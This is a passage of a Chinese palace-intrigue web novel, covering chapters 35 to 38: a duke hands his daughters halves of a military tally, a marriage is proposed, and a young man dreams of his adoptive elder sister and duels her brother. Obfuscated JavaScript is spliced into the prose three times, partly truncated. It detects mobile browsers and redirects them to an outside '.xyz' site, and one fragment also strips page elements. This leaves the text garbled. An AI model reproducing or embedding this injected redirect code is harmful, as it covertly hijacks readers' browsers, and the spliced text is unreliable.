到最后还是霸王意气尽,贱妾何聊生。 裴令仪油尽灯枯,元韫浓郁郁而终。 唱得太缠绵悱恻,就会成判词。 这就是他们前世的判词。 戏台之上,虞姬的剑光如水,泛起粼粼波光。 虞姬的剑已经架在了颈间。 元韫浓的目光不由自主地被吸引过去,她看着虞姬决绝的眼神,忽然觉得喉间发紧。 裴令仪看了过来,用询问的眼神看着元韫浓。 元韫浓转头看他,却见裴令仪漆黑的眸子里,似乎藏着千言万语,却又什么都看不真切。 元韫浓问:“若有朝一日,我**……” “阿姊!”裴令仪猛地攥住元韫浓的手腕。 他的手掌冰凉,力道却大得惊人。 然后裴令仪又跟受了惊似的,缩回了自己的手。 元韫浓抬头,对上裴令仪惶恐的眼眸。 “别说这样的话。”裴令仪轻声说道,带有哀求,“别再这样说了,阿姊。” “我说说而已,怎么这么大反应?”元韫浓与他对视,忽然笑了,“生死之事,谈谈而已嘛。” 裴令仪顺着元韫浓的视线再次望向戏台,虞姬已经倒下。 裴令仪看着那抹倒地的身影,觉得胸口发闷。 他起身道:“时候不早了,我们回去吧。” “也好。”元韫浓起身。 回了岐国公府,门前就瞧见了等候的霜降。 元韫浓还以为发生了什么大事,“怎么了?” 霜降回道:“郡主,国公派人来找,郡主恰好不在。底下人去回了,国公说等郡主来了再去书房找他,奴婢便在门口等了。” “父亲可有说是什么事情?”元韫浓问。 霜降摇头,“没有。” 元韫浓思索片刻,“那便去吧。” 她又回头对裴令仪颔首示意,裴令仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“蕴英,你性子刚烈,武艺不弱于男儿郎。这半块虎符在你手中,为父放心。”岐国公说着,目光在二姐脸上停留片刻,“记住,符在,南营军在,我元氏立身之本便在。” 元蕴英重重地点头:“女儿明白。” 岐国公嘱咐道:“如有**,你便拿着此符调动剩下的那一半南营军,保卫国公府,守住京华。” “父亲,如此之重的任务,我才第一次掌兵……”元蕴英罕见地流露出一丝犹豫。 “你是我的女儿,必然可以。”岐国公拍了拍元蕴英的肩膀,“你哥哥是中郎将,有他统领城中禁军,你们兄妹二人里应外合,就算有人生乱,也必然不会出现大乱。” 元蕴英握紧了虎符,“是,女儿明白了。” “应怜,你虽体弱,但心思缜密。这半块虎符,你要好生保管。”岐国公将兵符递过来。 元韫浓伸手接过。 岐国公道:“这兵符给你,是为了叫你在危难来临之时能够调动部曲自保,也尽可能保护住府中人。” “父亲……”元韫浓神色动容。 岐国公交予元蕴英的是重任,交给她的却是保护。 岐国公长叹一声:“你们母亲随陛下前往行宫,兄长手握禁军,我倒是不担心他们。你们长姐不日之前便去了白云观小住,我已经同她说了,在我回朝之前,先别回府。府中不放心的,只剩下你们二人。” “如今把兵符交给你们,为父也能放心许多了。”他说着。 他正色,面色严肃道:“你们姐妹二人,一文一武,相辅相成。这虎符合在一起便是我元氏的根基,务必收好。” “女儿明白。”元蕴英和元韫浓齐声说道。 “好了,蕴英先回去吧,应怜留下。”岐国公道。 “女儿告退。”元蕴英将半块虎符贴身收好,动作干净利落。 她的眼中闪烁着光芒,仿佛下定了什么决心。 走出书房时,元蕴英回头看了一眼。 父亲依旧坐在案几前,烛光将他的影子拉得很长。 而妹妹依然跪坐在那里,眉眼柔弱。 第36章 梦中吻 元韫浓稍稍侧目,望着元蕴英离开的背影。 女子的背影飒爽而利落,犹如一只夜枭般。 鸳鸯袖里握兵符,何必将军是丈夫? 她的二姐,也算是得偿所愿了。 元韫浓收回视线,看向岐国公,“父亲留应怜下来,可是有什么别的事情要嘱咐?” “应怜,你觉得沈川如何?”岐国公问道。 元韫浓一愣,“沈大哥有理有度,年少有为,又是世交家大哥,我同他亲如兄妹,没什么不好。” “作为夫婿呢?”岐国公眸色暗沉。 元韫浓愕然。 先前她是想嫁给沈川的,只是后面转变目标了,变成慕湖舟的。 没想到岐国公不但上了心,还认真思索了。 岐国公柔声道:“几年前我便有意于他,只是你母亲觉得沈家规矩多,沈川性子又过于刚直,不够圆滑。” “确实如此。”这一点元韫浓很赞同。 但这两点已经是沈川身上最大的问题了。 沈川身上找不到别的问题了。 “那时候我想,我们应怜哪怕是一辈子不嫁也无妨。只是如今局势不明,为父不能保证国公府屹立不倒。若是真出了什么事,你嫁了出去,便不会牵连到你。”岐国公叹息。 若不是情势不妙,他巴不得女儿留在身边一辈子。 元韫浓和她两个姐姐不一样。 元云和一心修道,元蕴英不爱红装爱武装,甚至厌恶与男子接触,她们两个都断然不会婚嫁的。 他最柔弱,也最懂事的小女儿,就成了他最为难的安排。 “父亲……”元韫浓心头一动。 定下心神,元韫浓道:“我明白父亲心思,以沈大哥为人,即使是不爱我,也不会慢待了我。若是真出了什么事,也会庇护我。” 因为前世就是如此的。 沈川极尽可能地待她好,照顾她。 外人人人艳羡,元韫浓得了这么个好郎婿。 不是谁家夫婿都会像沈川那样,从来温柔体贴,在外务工时还会挑个首饰,带个糕点回去给夫人的。 也不是谁家夫婿都会由着娘子的坏脾气,自始至终都温和耐心。 “可是父亲,沈大哥知道父亲的意思吗?”元韫浓问。 “他知道。”岐国公回答。 这回元韫浓是真的震惊了。 沈川居然知道?那就说明沈川也接受这件事情了? 什么意思? 沈川也有意于她吗?沈川还没喜欢上慕水妃吗? 元韫浓飞速思索,怎么想都觉得不对。 前世这个时候,沈川明明早就喜欢上慕水妃了才对啊?今生看起来,沈川和慕水妃关系也挺好的啊。 岐国公说:“我早同他提过了,他说了,功成名就,若你愿意,三礼六聘。” 元韫浓今日受到的冲击已经远超几年。 想不通,她实在是想不通。 沈川甚至想都没想就愿意娶她了?不是?那慕水妃呢? 这会沈川对她,也没什么责任啊? 沉默许久之后,元韫浓攥紧了掌心,“父亲,我暂且……还不想嫁。” 果然,她天生就是贪恋权势,喜爱迎着风浪。 岐国公叹了口气:“你若不想嫁,那便也不急。真有了什么万一,再做打算也不迟。” “多谢父亲。”元韫浓松了口气。 “但是,应怜。”岐国公摸了摸元韫浓的头,目光里有太多无可奈何和沉重,“沈川已经是为父能挑中最合适的人选,最稳妥的后路了。” 望着岐国公鬓角的白发,元韫浓心底酸软。 可怜白发生。 她靠在父亲肩上,轻声道:“爹爹……女儿知道。” 岐国公拍了拍她的脑袋,说道:“只要为父还能稳得住局面,你想要做什么,便去做吧。” 元韫浓软声道:“谢谢爹爹。” 等到元韫浓走出岐国公的书房,长舒一口气。 那半块虎符被她贴身收藏,冰凉的触感让她时刻保持清醒。 而裴令仪跟元韫浓在府门前分别后,回了清仪馆坐了片刻,看到院子里养了许久的花开了,又捧着去元韫浓的岁浓院。 他也想让元韫浓看看,看看元韫浓送给他的花开了。 只是院子前又遇到了不高兴遇见的人。 裴令仪压下唇角的笑意,冷漠地注视着眼前的人,“不是去白云观了吗?大娘怎么半路又回来了?” 元云和注视着他,轻嗤一声:“左右还要回来取些东西,便来看看,顺道瞧瞧四娘。” “没想到阿姊还没回来,反而先撞上了不该见的人是吗?”裴令仪扯动唇角,“恰好,令仪也那么想。” 元云和紧盯着他的表情,“沈川正在堂前和父亲谈天。” 裴令仪果然抬起了头,“什么意思?” 方才岐国公却是喊了元韫浓过去。 “父亲近来在为四娘择婿,世家勋贵挑了个遍,最后想来,还是沈子谦。”元云和说。 裴令仪动作一僵。 将他表情几番变化,元云和不紧不慢道:“他正要同四娘说下这门婚事,沈川也乐意。” 裴令仪转身就迈步朝岐国公书房走,走到一半,他又折了回来。 他半眯起眼睛,“你在试探我?” “原来你真藏的是这种龌龊心思。”元云和眉头紧锁。 “与你无关。”裴令仪冷声道。 “四娘是我妹妹!怎么同我无关?”元云和尖锐地说道,“她有大好前景在前头,你别耽搁她。” 元云和正要说些什么,就发现裴令仪原本冷锐的神情一变,眉眼柔和起来,低着头一副伤感落寞的模样。 元云和顿了顿,意识到了什么,转过身,果然看到了元韫浓。 “四娘。”元云和笑了笑。 元韫浓在裴令仪和元云和两边扫了两眼,气氛似乎不与寻常。 她问道:“大姐姐不是去白云观修行了吗?怎么回来了?父亲说,姐姐要等他回朝了才回来。” “是如此,就是要一去多日,这才回来取些东西。”元云和笑道。 取东西本来派了人下来就行,元云和既然亲自回来,那就是还有什么别的事情。 元韫浓也没拆穿,而是笑道:“原来如此。” 元云和就是有别的事情要干,她放心不下元韫浓。 “应怜,父亲出征之后,府上就那么些人了,你可得千万当心。”她道。 “姐姐放心吧。”元韫浓说。 元云和压低了声音,在元韫浓耳边道:“云水**夜观星象,三皇子不日之后有一劫难。” 元韫浓蓦然抬起头看向元云和。 元云和拍了拍她的手,“四娘,无论如何,都以自己安危为先。” “放心,姐姐,我会照顾好自己的。”元韫浓说道。 “我还要回白云观,你多珍重。”元云和叹了口气,转身离去。 元韫浓若有所思。 三皇子有一劫难的话,说明不久之后京中确实会发生些什么。 这时候慕湖舟可不能再出什么事情了,裴令仪尚未起势,慕湖舟若是出了事,京华便是慕载物一家独大。 真要叫慕载物当了皇帝,能有元氏什么好果子吃? 元韫浓看向裴令仪,“怎么到我院里来了?” “阿姊送我的种子开了花,我拿来给阿姊瞧瞧。”裴令仪将抱在怀里的花盆往元韫浓眼前松了松。 他抬着眼睛观察元韫浓的反应,隐含期待。 “居然开了。”元韫浓确实有些意外,笑了笑,“也好,挺漂亮的。” 寥寥数语便让裴令仪唇角扬起。 元韫浓提了正事:“等到父亲离京之后,恐怕真会起什么事端。” “安全起见,阿姊何不同惠贞长公主一道去行宫呢?”裴令仪问。 元韫浓却说:“我若是再离京,国公府就空无一人了。出了事阿兄和二姐都是要去守京城的,国公府没有主事的怎么办?你使唤不动底下人的。” 裴令仪垂下眼睑,“清都无能。” “这并非是你之错。”元韫浓随口安慰道。 要紧的是,她走了之后,慕湖舟和裴令仪都在京中。 要是这两个全折进去了,让慕载物渔翁得利当了皇帝,他们元氏还有什么来日? 这回怎么也得把两个都保下来。 “行了,早些回去歇着吧。”元韫浓抬手摸了摸裴令仪的脸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476460|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >指尖摸到了裴令仪脸颊上曾经十字疤的位置,描绘了一下。 无意间的一个举动,裴令仪愣了愣,下意识伸出一只手,贴上了元韫浓抚摸他脸的那只手。 “怎么了?”元韫浓问。 裴令仪轻轻蹭了一下元韫浓的掌心,“阿姊……” “做什么呢?还撒娇。”元韫浓失笑,收回了手,“回去吧,我也要歇下了。” 可裴令仪回去了也不能平静。 他总是想到元韫浓,雪地里扑进他怀里的元韫浓,在千秋宴上挡在他身前的元韫浓,替他上药的元韫浓,琼花树下摘花冠上永生花递给他的元韫浓,摸他脸的元韫浓,甚至是扇他巴掌的元韫浓。 元韫浓,都是元韫浓。 辗转难眠。 裴令仪只能闭上眼睛,强迫自己入睡。 渐渐地,意识开始模糊,仿佛置身于琼花之下。 “清都。” 裴令仪转身看去,只见元韫浓站在琼花树下,眉眼如画,玉润金辉。 星星点点的,小珍珠似的琼花,满树花絮满枝玉,团团簇簇枝头挂。 元韫浓在花树底下,犹如画中仙。 “清都。”元韫浓轻声唤他,声音里带着他从未听过的温柔。 裴令仪本能地感到危险,下意识就想要后退,却发现双脚仿佛生了根似的一动不动。 元韫浓越走越近,他闻到元韫浓身上熟悉的药苦,混合着琼花极淡的清冽香气。 元韫浓伸手抚上他的脸,指尖微凉。 裴令仪愣愣地凝视着元韫浓的脸,想要躲开,却又贪恋这份温度。 元韫浓踮起脚尖,轻轻吻上他的唇。 那一瞬间,裴令仪感觉浑身的血液都沸腾了似的,理智也断了弦。 他伸手揽住元韫浓的腰,回应了这个吻。 这个吻从绵长到炙热,变得一发不可收拾,他拥着元韫浓倒进了落花里。 衣衫轻解,人影交叠。 裴令仪从梦中惊醒,大口喘息着,浑身发烫。 月光依旧如水沉静,可心跳声却鼓噪不已。 内心煎熬犹如热油烹炸。 裴令仪深吸一口气,用手捂着眼睛轻笑一声:“哈,我果然是个畜生……” 他知道自己是个性格阴郁、不善言辞的怪物,不该有这样见不得人的心思,玷污了元韫浓。 裴令仪取出贴身携带的那朵永生花,元韫浓从花冠上摘下来送给他的那一朵。 他借着月光细细观摩,轻轻摩挲着。 忽然间有些想哭,却又哭不出来。 虞兮虞兮奈若何…… 这一夜裴令仪就基本没睡,起了个大早就到院子里练剑。 无数次挥舞剑刃的手臂,还有**以为常的汗如雨下。 这就是他应有的人生,竞争、厮杀、取胜,周而复始。 而月色偏偏流连过他的肩膀。 裴令仪偏过头,元韫浓就坐在不远处的石凳上,好整以暇地看着这里。 “练累了吗?累了过来歇会。”元韫浓慵懒地半抬着眼睛,说道。 裴令仪摇了摇头,闷声不吭地再一次举起剑。 他身形清瘦,出招毫无花哨,剑起剑落,简洁干脆。 清晨轻薄的阳光底下,出了一身薄汗,他却浑然不觉。 “我倒没想过这小子剑术不错。”元彻回在元韫浓身后出声。 元韫浓回头瞥了元彻回一眼,“阿兄神出鬼没,总是一声不吭的。” 元彻回笑了笑,“我昨夜里夜巡,才下职,路过醉仙楼给你带了点心和羹汤来,去你岁浓院寻你来着。小满说你来清仪馆了,我可不就追来了?” “阿兄也觉得清都的剑使得不错吧?”元韫浓微挑眉头。 “是不错,就是还青涩,比不上你阿兄。”元彻回难得夸裴令仪一句。 元韫浓没说,再几年元彻回可就打不过裴令仪了,前世就这样。 她笑:“清都几岁?阿兄几岁?” 元彻回轻哼一声,挑起一旁武器架上的剑,朝着裴令仪走去,“我来试试他。” 裴令仪的剑使得平稳,就算元彻回突然和他剑刃相撞,他也只是停顿了一下。 二人交手,剑刃如银蛇飞舞,寒光闪烁。 第37章 渎 元彻回没留手,甚至是下了死手的。 裴令仪也用尽了全力。 他俩这架势不像是切磋,反倒是像要取对方的项上人头。 元韫浓却并不担心,她一面观赏着二人决斗般的切磋,一面吃着果子和冰品。 尽管天已经冷了,但元韫浓还是贪凉,喜欢偷偷吃冰品。 滴水般鲜红的樱桃拌入碎冰里用琉璃碗盛着,冰化开后滴落在她月白的裙摆上,留下淡红色的痕迹。 她和兄姐们不同,元彻回是元氏公认的继承者,而元韫浓却是默认的联系。 无论将来会与她婚配的是王侯将相,还是世家子弟,她都将是两边联系的桥梁。 桥梁不需要骁勇善战,但多少要知书达理,善解人意,最重要的一点是学会忠诚。 元韫浓没必要持剑而战。 所以元彻回在刚刚能站稳的时候就要学会拿起剑,而元韫浓只需要埋进珠宝锦绣堆里打着滚长大就可以了。 因为对于家族而言,他们的作用是不一样的。 元韫浓实际上也不喜欢身上沾到血,在背后操盘更合她的胃口。 她看着裴令仪的表情,裴令仪似乎也被激起了火气。 裴令仪握剑的手微微发抖,汗水顺着额角滑落,浸湿了衣领,呼吸沉重。 他咬紧牙关,又一次挥剑,和元彻回的剑相撞。 元彻回是要刻意来挫裴令仪锐气的,用最蛮横的方式击败了裴令仪。 他攻势凌厉,招招紧逼。 裴令仪向后踉跄几步,摔在元韫浓腿边。 他看到元韫浓轻轻晃了晃脚,那双精巧绣鞋的缎面在日光下闪过一道光,元韫浓“咔嚓”一声咬下了鲜红的果子。 冰凉的丝绸裙摆极轻地划过他的指尖,他下意识攥紧了元韫浓的裙摆。 裴令仪仰起脸望过去,元韫浓扬起眉梢。 元彻回微微皱眉,手中的剑稍稍垂下,准备收势。 他胜券在握,似乎这场比试已经毫无悬念。 然而,裴令仪刹那间又猛地翻身一蹬地面,如离弦之箭般握着剑再度攻向元彻回。 全然不顾防守,只顾攻击。 元彻回显然没料到裴令仪居然还有反击之力,并且速度如此之快。 这一下子,元彻回被这反戈一击打得措手不及。 他瞳孔骤缩,急忙侧身躲避,举剑抵挡,被逼退了两步。 裴令仪胸膛起伏着,喘着气,眼睛却一眨不眨地盯着元彻回。 他微微伏低了身子,犹如进攻前的野兽。 “你……”元彻回眼中闪过一丝震惊与警惕,戒备地盯着裴令仪。 此子若不能彻底收服,来日必成大患。 裴令仪的打法完全不要命,刚才那一击明明已经倒地,却在瞬息之间反扑,毫无顾忌,甚至不惜以伤换伤。 对自己都这样狠的人,对敌人只会更狠。 裴令仪的剑法虽然还不够纯熟,但那种不顾一切的狠厉,就足以让任何对手心生忌惮。 若是假以时日,成了烧手之患可就麻烦了。 元韫浓不紧不慢地出声道:“阿兄,是你轻敌了。” 裴令仪别过脸,带有几分焦躁。 晨光透过树叶间隙洒下来,在他苍白的脸上投下斑驳的光影。 元彻回冷哼一声,随手把剑丢回了架子上,“雕虫小技,战场可不会有人像我这样明明打得过,还饶他一命的。不是结束别人的性命,就是被别人结束性命。” “这是比试,又不是战场。”元韫浓轻描淡写道。 “我还要去补眠,应怜,回去记得吃带来的点心。”元彻回斜睨裴令仪一眼,拍了拍元韫浓的脑袋,就转身离开。 元韫浓拿帕子擦了擦手,“阿兄慢走啊。” 她转头看向站在原处没动的裴令仪,“过来。” 裴令仪站着没动,他低着头,看不清神色,也不知道在想些什么。 只有握着剑柄的手,捏得指骨发白。 “我数三声,你最好自己爬过来。”元韫浓的语调和眼神都冷了下来。 话音刚落,裴令仪就抬脚朝着她走了过来。 站在她跟前,裴令仪却依旧低着头,没有看元韫浓。 元韫浓靠近他,“我最近是不是对你管的太松了,叫家犬都长了本事,不听话了起来。” 裴令仪僵在原地,感觉到元韫浓的气息越来越近。 她身上总是带着一股淡淡的药苦。 裴令仪垂着眼,看着地上两人交叠的影子,喉咙发紧。 “躲什么?刚刚不是玩得很开心吗?跟我阿兄打得你来我往的,你方才有一瞬间动了杀心的,以为我没看出来?”元韫浓慢条斯理地拉过裴令仪的手。 动作轻慢却不由分说。 裴令仪没有否认,反倒是一凛。 被元韫浓拉住,他下意识想要挣脱,却在对上元韫浓的目光时,失了力气。 元韫浓的手柔软,指尖微凉,轻轻拂过他掌心被磨出的血痕。 原本发烫到有些麻木的痛感,在此刻又诡异地变得有些瘙痒。 裴令仪的指尖痉挛了一下。 “不知道疼吗?”元韫浓问。 裴令仪盯着地面,不敢抬头,哑着嗓子说:“没事的。” 他想要抽回手,却被元韫浓握得更紧。 元韫浓的指尖几乎要抠进他原本的伤口里,划烂他的血肉,疼痛变得尖锐而明显。 裴令仪僵硬地抬起头看向元韫浓,“……阿姊。” “这下疼了吗?”元韫浓笑着问。 裴令仪张了张嘴,没发出声。 “如果你再这样,我想我也没有什么必要继续管你了。”元韫浓说。 “不是,我……”裴令仪还未说完的话被元韫浓制止。 “别动。”元韫浓摁住裴令仪的手,用帕子缠绕住渗血的伤口。 “受了伤要说,疼了也要说,记清楚自己的位置,别老想有的没的。”她低头用手帕打结。 裴令仪抿着唇不说话。 他能感觉到元韫浓的呼吸拂过他的手背,像是有什么东西在挠。 他忽然想起昨夜那个荒唐的梦,梦里也是这样的气息,这样的温度。 裴令仪望着元韫浓的侧脸,洒在她的睫毛上细碎薄光像是零零碎碎地撒了一层金粉。 那些光被元韫浓的睫毛切割得支离破碎。 想要触碰她的睫毛,还有脸颊。 裴令仪有很多想问的,但是都没有问出口。 “好了。”元韫浓松开他的手,“练剑而已,那么不顾惜自己做什么?还没到你上战场拼命的时候呢。” 裴令仪看着被包扎好的手,那帕子上还绣着玲珑洁白的琼花。 元韫浓问他:“我说的话都记住没有?” 像是被猛地惊醒似的,裴令仪生怕被看穿了心思。 “我记着了。”裴令仪后退一步,有些狼狈地转过身,“我去换身衣裳,阿姊快些回去吃世子买来的点心吧。” 他的背影近乎是落荒而逃。 而这一晚他又梦见了元韫浓。 依旧是琼花树下,只是到了夜晚。 元韫浓正似笑非笑地注视着他,“你又来了。” 裴令仪的眼神紧锁住元韫浓的脸庞,伸出手,触碰到她的脸颊,然后是睫毛。 没有低头,也没有羞涩,元韫浓反而微微扬起下巴,挑起眉梢,仿佛在等待裴令仪的下一步动作。 几乎是顺理成章的一个吻,紧接着慢慢愈发深入。 在手搭上腰带之后,元韫浓却推开了他。 他推开了一些,凝视元韫浓,等待元韫浓的后续。 “想法子来讨我高兴。”带着一丝玩味,元韫浓的目光直直地盯着他,没有丝毫躲闪。 面对她戏谑的眼神,裴令仪喉咙有些发干,“你想要我做的,我都会去做的。” “好哇,那就这样吧。”元韫浓挑了挑眉,笑意更深,“你往自己身上划一刀,我就给你一个吻。” 她缓缓走近裴令仪,手指轻轻划过裴令仪的胸膛,指尖冰凉,却带起一阵灼热。 裴令仪的喉头滚动了一下,“那如果这一刀,割破了我的喉咙呢?” 元韫浓“唔”了一声,然后烂漫地笑了起来:“那我就给你想要的一切。” “好。”裴令仪答应了,目光灼热。 他思考自己要怎么样显得惨烈些,可怜些,来讨元韫浓的怜惜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元韫浓偏偏在这时候来,他紧张被元韫浓发觉什么不对劲,更是害怕自己龌龊的心思被元韫浓知晓。 在这个最难熬的时候,被元韫浓发现也太难堪了,更何况起源也是元韫浓。 若是真被元韫浓知晓了这件事情,他这辈子断然是难以再接近元韫浓了,说不定还会被嫌恶。 这个念头让裴令仪羞惭不已,不由得难堪地低垂了眼。 他的长眉黑睫俱已被涔涔热汗浸湿,使得他锐利的双眼都变得迷蒙了起来,猛一看上去,竟好似泪光点点。 元韫浓以为他哭了,于是走上前来,伸手去摸他滚烫的眼角,“怎么了?脸那么红是烧着了吗?病了?” 裴令仪僵直在那里,不敢动弹。 太近了,近到他克制不了。 “没病?额头不烫。”元韫浓又去摸裴令仪额头,疑惑地皱了一下眉头,“要我叫人进宫去叫太医来瞧瞧吗?” “不必了,阿姊。”裴令仪连忙说道,“我只是练剑太累了,有些疲乏罢了。” “这样吗?”元韫浓将信将疑地缩回手。 裴令仪斩钉截铁道:“就是如此,阿姊且在外室稍候片刻,我这就换衣裳起来。” 元韫浓又瞥了一眼裴令仪,“好吧。” 目送元韫浓走出去,裴令仪才稍稍松了一口气,立即起身收拾残局。 裴令仪的速度很快,元韫浓不过是喝盏茶的功夫,他就处理了一切走出来了。 “好了?”元韫浓起身,瞥见裴令仪身后,裴九抱着被褥走出去,“怎么这会换被褥?” 裴令仪不动声色地挡住元韫浓的视线,信口胡诌:“起来得急,拿了隔夜的茶水先润润嗓子,没想到撒到床上了。” 元韫浓又上下打量了裴令仪两眼。 直觉上她觉得裴令仪并非行事冒失的人,但是这到底也只是件换被褥的小事,也不必如此挂怀。 “阿姊,我们走吧。”裴令仪的笑容如旧。 一切似乎都无懈可击。 元韫浓松开眉头,道:“也好,走吧。” 第38章 突变 皇帝和岐国公先后离京也已经有一段时日了,京华的氛围愈发不与寻常。 接连好几日,元彻回都没有归家,而是在外头忙。 好不容易有一日回来了,行色匆匆地嘱咐了元韫浓几句话,要她前往注意小心,便又走了。 连饭都没有来得及吃上一口,风尘仆仆。 岐国公府里头的主人家就只剩下了元蕴英和元韫浓,勉强还算上一个裴令仪。 元蕴英同样忙得脚不沾地,只比元彻回好些,她还要熟悉南营军,翻阅先前的统管记录。 元韫浓就闲多了,这局势之下她也没有像先前那样积极地去拓展商业。 而岐国公给她的那一半兵符是用来调令元氏部曲的,非紧急关头也不会用。 元韫浓也是偷得浮生几日闲,睡到下午才起,在院中修剪花枝。 时不时跟身边的小鬟笑语几句,小鬟嘴也甜,三言两语就能逗笑元韫浓。 修剪花枝也只是闲情逸致,完了还会去荡秋千。 院子里的秋千是元彻回给扎的,也只是为了送给元韫浓玩。 元韫浓坐在秋千架上,素手勾挽丝绳,小满在她身后推她荡起来。 使女们在旁边笑着鼓掌欢呼,笑声跟春日里的翠鸟似的明快。 府里头的管事捧着银盘,一脸谄笑着走进来,盘子上是商队行商时置换来的一些稀奇物。 满盘的珊瑚碧树,珠宝首饰,金灿灿银晃晃,珠光宝气都快要从盘子上溢出来似的。 但元韫浓这会没有空暇去看这些,她现在玩得正高兴。 “小满,推用力些,我要荡得高些。”元韫浓命令小满。 小满爽快地应声道:“好勒,郡主可坐稳了!” 她用力把元韫浓往上边推,元韫浓一下子就荡了出去。 有小满在后边推,元韫浓自己使劲,越荡越高。 元韫浓笑出了声,抬头是天边闲云,俯首是脚下繁花,她的裙摆和披帛弹在天边,犹如彩霞般。露出一截白腻的手腕,冰肌玉骨。 女侍们都在笑,欢呼雀跃,显然也不是头一回玩了。 管事见了却吓得魂飞魄散。 元韫浓越荡越高,几乎与树梢平齐。 管事双腿一软,差点瘫倒在地。 元韫浓这般玩闹,若是稍有闪失,他这脑袋可就保不住了。 他心急如焚,却又不敢贸然上前制止,只能连声在底下喊:“别推了别推了!小满你个死丫头别再推了!太危险了,郡主,快些下来吧!” 裴令仪来时远远就能听到笑声,还有管事惊恐的呼喊声。 进了岁浓院的门,假山高低错落,水墨丹青,潺潺流下的清泉相映成趣,旁边垂枝如瀑,浓荫匝地。 元韫浓荡得很高,落下的光滤过花枝树叶,斑斑点点的光影在她鸦黑的鬓发和睫毛上闪烁着。 彩绦飞扬,衣裙猎猎。 她瞥了过来,秋瞳剪水,眸光盈盈。 裴令仪驻足,愣愣地望了片刻。 “哎哟喂,五郎来了,快快快!快来替我劝劝郡主,这也太危险了!”管事的见裴令仪来了,连忙过来拉他,不住地抹汗。 裴令仪弯了弯唇,目光柔和,“由着阿姊开心吧,放心,不会出事的。” 就算元韫浓失手摔下来,这个距离他也完全能接得到元韫浓。 更何况小满还站在元韫浓后边,暗卫出身又不是说说而已。 不然元彻回也不会把小满安排给元韫浓了。 管事的见没有一个人听他的,更是急得团团转。 忽然听到一阵急促的脚步声。 元韫浓抬头,看到元蕴英大步走来,一身戎装,英姿飒爽。 元蕴英见一群使女们围着秋千两旁笑闹,自己妹妹荡得老高,旁边还站了个含笑的裴令仪,和不住擦汗的管事。 元韫浓看过来,巧笑倩兮,“哎呀。” 无事不登三宝殿,元蕴英主动到她的岁浓院里,是格外少见的事情。 管事的看见了元蕴英就像是看见了救星,“三小姐可算是来了,快快来劝劝郡主吧!” “你先下去吧。”元蕴英吩咐道。 “好好好。”管事拿袖子擦了擦汗,又捧着银盘走了。 “二姐姐。”元韫浓慢下来。 小满也松了力道,站到一旁。 秋千渐渐慢下来,元韫浓一面荡着,一面歪着头笑:“怎么来我的岁浓院了?” 元蕴英直截了当地说:“我这几日不回家,要带南营军在京华附近驻守。” “驻军还不够吗?”元韫浓问。 元蕴英皱眉:“是怕有异动,才要巡视探查,大哥主要是看着宫城之内的,京中巡视怕是心有余而力不足。” 元韫浓点了点头。 “我不在的时日,多加小心。我会派人严加看守,但就怕有漏网之鱼,如有事发,只管保命,其余的都是次要的。”元蕴英叮嘱。 “姐姐这是在关心我吗?”元韫浓笑问。 元蕴英冷哼一声:“少自作多情。” “姐姐放心吧,我会照顾好自己的。”元韫浓勾起唇角,“姐姐果然还是在关心我吧?” “随你怎么想。”元蕴英转身欲走。 不管他们之间有什么样的恩怨,在外边也都是一体的。 元韫浓看着元蕴英的背影,忽然开口:“姐姐。” 元蕴英停下脚步,回头:“还有事?” 元韫浓轻声说:“刀剑无眼,多加保重。” 元蕴英愣神片刻,别过了头,“我又不像你那样跑几步就喘气。” 目送元蕴英走远,元韫浓转向了裴令仪,“有什么事?” “没事就不能来找阿姊了吗?”裴令仪问。 “少贫嘴。”元韫浓瞪他一眼。 裴令仪笑了笑:“这几日事多,晚间想像阿姊讨教棋艺。” 元韫浓笑了一声:“你还用得着像我讨教棋艺呢?你跟我水平也半斤八两。” 君子六艺,女子八雅。 女子八雅为琴棋书画,诗酒花茶。 元韫浓在其中最擅长的是琴棋二者。 琴嘛,京中贵女里她是数一数二的。 而棋道,更是少有敌手。 善棋者筹谋睿智,处变不惊。 前世她就常和裴令仪对弈论政,一局棋间定人生死,胜负也是常五五开。 “和自己水平相近者对弈,才能有所突破。”裴令仪相当有理由。 元韫浓哼笑一声:“也好。” 在国公府里,平时也没什么人能够和她下棋。 家里几个都是大忙人,要不就是棋艺水平不如她的。 像元彻回,过不了几回合就会输给她,一点意思都没有。 只是往常都是裴令仪等元韫浓,这回却成了元韫浓等他。 元韫浓坐在月下,夜色如水,浓稠而静谧。 石桌上棋局已然摆好,棋子整齐罗列,只是对弈之人却迟迟未现。 元韫浓独坐在桌前,百无聊赖,手中的棋子不自觉地轻轻敲击着棋盘。 “哒哒”之声在寂静的夜里格外清晰,灯芯上的灯花随着棋子的敲击不断迸落,星星点点。 一阵夜风吹来,元韫浓忍不住咳嗽了几声,苍白的脸上泛起病态的红晕。 “阿姊。”身后传来一声轻唤。 裴令仪披着月色走来,眉目如画,一身清寂。 “来了?”元韫浓没有回头,依然看着棋盘,“坐吧。” 裴令仪走到她身边,将一件披风轻轻披在她肩上:“晚间风大,阿姊别着凉了。” 他恭敬地在元韫浓对面坐下,低下头,“是我来晚了。” 他在听部下汇报裴氏部曲的事项,惠帝虽然不允许他接管,但是他只要有心发展自己的势力,总是有办法的。 